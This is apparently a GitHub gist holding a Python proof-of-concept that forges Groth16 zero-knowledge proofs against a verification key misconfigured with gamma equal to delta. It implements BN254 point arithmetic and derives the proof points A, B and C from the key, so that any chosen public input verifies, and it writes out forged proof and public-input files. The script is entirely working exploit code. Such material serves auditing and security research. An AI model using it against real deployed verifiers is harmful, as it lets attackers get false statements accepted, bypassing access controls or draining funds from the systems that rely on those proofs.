Created
February 27, 2026 10:59
-
-
Save StefanosChaliasos/e244229a8fcc2cdd11c8a5609137ce1e to your computer and use it in GitHub Desktop.
Forge a Groth16 proof for a broken verification key where gamma == delta
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ```python | |
| """Forge a Groth16 proof for a broken verification key where gamma == delta.""" | |
| import json | |
| import sys | |
| # BN254 field prime | |
| P = 21888242871839275222246405745257275088696311157297823662689037894645226208583 | |
| # Point at infinity represented as None | |
| INFINITY = None | |
| def mod_inv(a, p): | |
| """Modular inverse using Fermat's little theorem.""" | |
| return pow(a, p - 2, p) | |
| def g1_add(p1, p2): | |
| """Add two G1 points on BN254 (y^2 = x^3 + 3).""" | |
| if p1 is INFINITY: | |
| return p2 | |
| if p2 is INFINITY: | |
| return p1 | |
| x1, y1 = p1 | |
| x2, y2 = p2 | |
| if x1 == x2: | |
| if y1 != y2: | |
| return INFINITY | |
| # Point doubling | |
| lam = (3 * x1 * x1 * mod_inv(2 * y1, P)) % P | |
| else: | |
| lam = ((y2 - y1) * mod_inv(x2 - x1, P)) % P | |
| x3 = (lam * lam - x1 - x2) % P | |
| y3 = (lam * (x1 - x3) - y1) % P | |
| return (x3, y3) | |
| def g1_scalar_mul(scalar, point): | |
| """Scalar multiplication on G1 using double-and-add.""" | |
| if scalar == 0 or point is INFINITY: | |
| return INFINITY | |
| scalar = scalar % (P) | |
| result = INFINITY | |
| current = point | |
| while scalar > 0: | |
| if scalar & 1: | |
| result = g1_add(result, current) | |
| current = g1_add(current, current) | |
| scalar >>= 1 | |
| return result | |
| def g1_negate(point): | |
| """Negate a G1 point: (x, y) -> (x, p - y).""" | |
| if point is INFINITY: | |
| return INFINITY | |
| x, y = point | |
| return (x, (P - y) % P) | |
| def parse_g1(coords): | |
| """Parse a G1 point from VK JSON format [x, y, "1"].""" | |
| return (int(coords[0]), int(coords[1])) | |
| def main(): | |
| target_c = int(sys.argv[1]) if len(sys.argv) > 1 else 999 | |
| with open("verification_key.json") as f: | |
| vk = json.load(f) | |
| alpha = parse_g1(vk["vk_alpha_1"]) | |
| ic0 = parse_g1(vk["IC"][0]) | |
| ic1 = parse_g1(vk["IC"][1]) | |
| # vk_x = IC[0] + target_c * IC[1] | |
| vk_x = g1_add(ic0, g1_scalar_mul(target_c, ic1)) | |
| # C = -vk_x | |
| c_point = g1_negate(vk_x) | |
| # Forged proof: A = alpha, B = beta, C = -vk_x | |
| proof = { | |
| "pi_a": [ | |
| str(alpha[0]), | |
| str(alpha[1]), | |
| "1", | |
| ], | |
| "pi_b": vk["vk_beta_2"], | |
| "pi_c": [ | |
| str(c_point[0]), | |
| str(c_point[1]), | |
| "1", | |
| ], | |
| "protocol": "groth16", | |
| "curve": "bn128", | |
| } | |
| public = [str(target_c)] | |
| with open("forged_proof.json", "w") as f: | |
| json.dump(proof, f, indent=1) | |
| with open("forged_public.json", "w") as f: | |
| json.dump(public, f, indent=1) | |
| print(f"Forged proof for c = {target_c}") | |
| print(f" A = alpha from VK") | |
| print(f" B = beta from VK") | |
| print(f" C = -vk_x = ({c_point[0]}, {c_point[1]})") | |
| print(f"Written: forged_proof.json, forged_public.json") | |
| if __name__ == "__main__": | |
| main() | |
| ``` |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment